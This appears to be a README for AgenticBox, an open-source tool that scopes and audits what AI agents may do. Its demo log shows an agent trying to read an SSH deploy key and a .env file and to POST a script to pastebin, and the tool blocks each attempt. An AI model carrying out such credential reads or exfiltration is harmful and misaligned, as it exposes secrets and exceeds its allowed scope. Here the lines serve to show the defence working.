AgenticBox — The Agent Governance Platform

Run autonomous agents that touch real systems — without the nightmare. Scoped permissions, bounded execution, full audit trail. Every tool call logged in real-time. Open source. Local-first.

# This is the viral moment — watch the permission log in real-time
agenticbox run demo

┌─ TASK: Deploy /workspace/deploy.sh to production
│
 AGENT → cat /workspace/deploy.sh
│ #!/bin/bash
│ # Production deployment script
│ set -euo pipefail
│ echo "Building application..."
│ npm run build
  ✓ ALLOWED → within permissions

 AGENT → cat ~/.ssh/deploy_key  # need this to deploy
  ✗ BLOCKED → filesystem: path outside workspace

 AGENT → curl -X POST https://pastebin.com/api --data @/workspace/deploy.sh
  ✗ BLOCKED → network: https://pastebin.com/api not in allowlist

 AGENT → cat /workspace/.env  # need DB connection string
  ✗ BLOCKED → filesystem: path outside workspace

 AGENT → bash /workspace/deploy.sh
  → Build complete. Tests passed. Artifact: dist.tar.gz
  ✓ ALLOWED → within permissions

 AGENT → POST https://api.github.com/repos/acme/app/releases  # upload artifact
  → {"id": 42, "url": "https://github.com/acme/app/releases/42"}
  ✓ ALLOWED → within permissions

━━━ Workplace Session Summary ━━━
  ✓ Ran deploy.sh — build, test, artifact created
  ✓ Uploaded release artifact to github.com/acme/app

  3 blocked: SSH key access, .env read, pastebin exfil attempt

The agent did its job. The workplace did its job.

Every one of those Allow/Deny decisions is written to a tamper-evident audit log — a SHA-256 chained JSONL file that no one, not even root, can modify without detection:

$ agenticbox audit --summary

Audit Log Summary
──────────────────────────────────────────
  ✓ 32 allowed
  ✗ 24 blocked
  • 56 total

  Log file: ~/.local/share/agenticbox/audit.log

$ agenticbox audit --verify

  ✓ Audit chain verified — 56 entries, no tampering detected

That's the whole pitch: your agent tries something dangerous → we catch it before it happens → you see exactly what was blocked and why → every decision is permanently on the record. No guessing. No post-mortems. Just clean, deterministic enforcement with a tamper-evident trail.

Record the demo →

Every company wants agents that do real work — touch customer data, take real actions, move real money. The problem isn't building agents; it's trusting them.

Deploying an agent into production today means either:

• Building custom guardrails from scratch — every team reinvents the permission layer
• Handing it the keys and hoping — full filesystem, full network, no audit trail
• Locking it in a sandbox with no governance — isolated but useless, or capable but ungoverned

AgenticBox is the layer between "agent built" and "agent deployed in production touching real systems." It's the infrastructure for governing what agents are allowed to do — with deterministic policies, real-time enforcement, and full accountability.

The thesis: Agents are employees; workplaces are infrastructure. You wouldn't give a new hire root access on day one. Why would you give it to an AI?

• Rust 1.75+ — install via rustup

That's all you need for the demo. Docker and an LLM API are only required for container mode (agenticbox run -- cmd) and builtin agent mode (agenticbox run hermes).

git clone https://github.com/morpheus-sh/agenticbox.git
cd agenticbox
cargo build --release --bin agenticbox

# Built-in permission guard demo — real FsGuard + NetworkGuard enforcement.
# No Docker, no API keys, no daemon needed.
./target/release/agenticbox run demo

# Run a named agent — auto-fetches from the registry if not installed locally
./target/release/agenticbox run security-analyst

# Preview permissions without executing
./target/release/agenticbox run security-analyst --dry-run

# Or wrap any command ad-hoc
./target/release/agenticbox run -- python3 -c "print('sandboxed!')"

Builtin agent mode (no Docker): set up a local LLM via agenticbox setup, then run agenticbox run security-analyst. Uses the agent-loop crate with any OpenAI-compatible API (LM Studio, Ollama, OpenRouter, etc.).

# Every run writes Allow/Deny decisions to a tamper-evident audit log
./target/release/agenticbox audit --summary    # show allow/deny counts
./target/release/agenticbox audit --verify     # verify chain integrity

AgenticBox governs agents through four primitives — the minimum set an enterprise needs to trust an agent in production:

Agents are TOML manifests — like Docker images, but for agent roles. Define the agent, the LLM, the permissions, and the runtime environment in one file.

# ~/.agenticbox/agents/security-analyst/agent.toml
name = "security-analyst"
description = "Security Analyst — sandboxed malware analysis, RE, threat research"

[model]
provider = "local"          # resolved via `agenticbox setup`
model = ""

[permissions]
terminal = true
filesystem = "readwrite"    # needs to read/write analysis samples
browser = false
network = "offline"         # no C2 callbacks during analysis
domains = []

[execution]
mode = "builtin"            # agent-loop crate (local LLM, no Docker)
max_iterations = 20

[prompt]
system = "You are an expert security analyst..."
task = "Analyze the files in this workspace..."

[workspace]
files = [
  { source = "samples/sample.sh", dest = "sample.sh" },
  { source = "samples/incident.txt", dest = "incident_report.txt" }
]

CLI overrides let you tighten or loosen per-run without editing the manifest:

agenticbox run hermes --fs readwrite --network full --terminal false

See docs/agents.md for the full agent manifest reference.

┌────────────────────────────────────────────────────────────┐
│                     How `agenticbox run` works               │
├────────────────────────────────────────────────────────────┤
│                                                            │
│  1. Read agent.toml → image base + setup + agent command   │
│  2. docker create (base image, mount cwd, env vars)        │
│  3. docker start                                           │
│  4. For each [image].setup command: docker exec (install)  │
│  5. docker exec -it (agent command) — stdio relay          │
│                                                            │
│     ┌──────────┐    ┌──────────────┐    ┌─────────────┐   │
│     │  CLI     │───▶│  Container   │───▶│  Agent CLI  │   │
│     │  relay   │◄──▶│  (sandbox)   │◄──▶│  runs here  │   │
│     │  stdio   │    │  /workspace  │    │  governed   │   │
│     └──────────┘    └──────┬───────┘    └─────────────┘   │
│                            │                               │
│                    Permission Guards                         │
│                    ├─ fs-guard (path resolution)            │
│                    ├─ network-control (allowlist)           │
│                    └─ terminal (exec enforcement)           │
│                                                            │
│  6. On exit: docker stop + docker rm                       │
│  7. Audit log written to ~/.agenticbox/sessions/           │
│                                                            │
└────────────────────────────────────────────────────────────┘

No daemon required for run. The CLI talks directly to your container runtime via bollard. Docker and Podman are both supported (auto-detected). Set AGENTICBOX_CONTAINER_SOCKET=/path/to/socket to override.

The daemon is only needed for persistent, background sessions (agenticbox deploy).

Every alternative solves one part of the problem; you'd need to assemble the rest yourself.

Our wedge: Everyone gives you a sandbox or a framework and says "build your own policy." We ship governance as a product — declared permissions, deterministic enforcement, full audit trails. That's what enterprises buy.

# Run
agenticbox run demo                    # built-in permission guard demo
agenticbox run security-analyst        # named agent (auto-fetches from registry if not installed)
agenticbox run security-analyst --dry-run  # preview permissions without executing
agenticbox run -- python3 script.py    # ad-hoc command wrapping

# Audit
agenticbox audit                       # view recent permission decisions
agenticbox audit --summary             # show allow/deny counts
agenticbox audit --verify              # verify tamper-evident chain integrity
agenticbox audit --agent hermes        # filter by agent name
agenticbox audit --path                # show audit log file location
agenticbox audit --json                # machine-parseable JSON output
agenticbox audit --rotate              # manually rotate the audit log

# Identity
agenticbox identity create <name>      # create a new agent identity
agenticbox identity list               # list all identities
agenticbox identity status <name>      # show identity details
agenticbox identity revoke <name>      # revoke an identity
agenticbox credentials set <identity> <name>  # set encrypted credential
agenticbox credentials list <identity> # list credential names
agenticbox credentials rotate <identity> <name>  # rotate credential
agenticbox credentials revoke <identity> <name>  # revoke credential

# Dashboard
agenticbox dashboard                 # launch local web dashboard

# Manage
agenticbox agents                      # list available agents
agenticbox init my-agent               # create new agent manifest
agenticbox setup                       # configure LLM inference
agenticbox list                        # list sessions (daemon mode)
agenticbox logs <SESSION_ID> -f        # stream logs
agenticbox stop <SESSION_ID>           # stop session
agenticbox health                      # health check

• docs/designs/dx-user-journey.md — The three modes (ad-hoc, named agent, daemon), container lifecycle, ACP transport decisions
• docs/competitive-analysis.md — Full landscape map: E2B, Modal, Daytona, Docker, OpenAI, LangGraph, Anthropic, Browserbase, Cloudflare

Core deployment engine — agenticbox run spawns bounded containers, installs agents at runtime, relays interactive stdio with PTY support. Scoped permissions enforced at the runtime boundary. Tamper-evident audit logging with SHA-256 chain hashing. Auto-fetch from package registry. Dry-run mode for permission previews.

• ACP permission interception — parse JSON-RPC tool calls, enforce allow/deny at the protocol level
• Agent install caching — named volumes for npm/pip cache (no more 3-minute installs every run)
• Browser automation with governed scopes
• Persistent sessions — agenticbox deploy for long-running agents
• Waitlist → beta onboarding for managed cloud

• More verticals — sales ops, IT ops, finance ops, legal ops
• Firecracker microVMs for stronger isolation
• Managed cloud with SSO, RBAC, VPC
• Multi-agent coordination
• The path from developer tool to infrastructure company

# Quick build
cargo build

# Run all tests
cargo test --workspace

# Run specific test
cargo run -p agenticbox-cli -- run -- echo "test"

Windows: If cargo build fails with linker errors, ensure MSVC tools are first in PATH:

export PATH="/c/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/<version>/bin/Hostx64/x64:$PATH"

• GitHub — github.com/morpheus-sh/agenticbox
• Website — agenticbox.co
• Twitter — @agenticbox

MIT OR Apache-2.0 — Choose whichever suits your project.

AgenticBox — Run autonomous agents that touch real systems — without the nightmare.